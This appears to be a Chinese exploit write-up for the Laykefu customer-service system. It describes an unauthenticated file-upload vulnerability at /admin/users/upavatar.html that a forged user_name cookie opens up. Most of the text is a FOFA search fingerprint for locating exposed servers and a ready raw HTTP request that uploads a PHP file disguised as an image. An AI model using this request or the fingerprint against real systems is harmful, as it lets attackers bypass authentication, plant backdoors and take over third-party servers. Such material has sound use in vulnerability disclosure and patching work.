## 漏洞描述
Laykefu客服系统/admin/users/upavatar.html接口处存在文件上传漏洞,而且当请求中Cookie中的”user_name“不为空时即可绕过登录系统后台,未经身份验证的攻击者可利用此问题,上传后门文件,获取服务器权限
## fofa语法
`icon_hash=”-334624619″`
## POC
POST /admin/users/upavatar.html HTTP/1.1
Host:
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
——WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name=”file”; filename=”1.php”
Content-Type: image/png
——WebKitFormBoundary3OCVBiwBVsNuB2kR–
### 回显
![image.png](/media/editor/1705907797387_20240122151740904061.jpg)
请登录后查看评论内容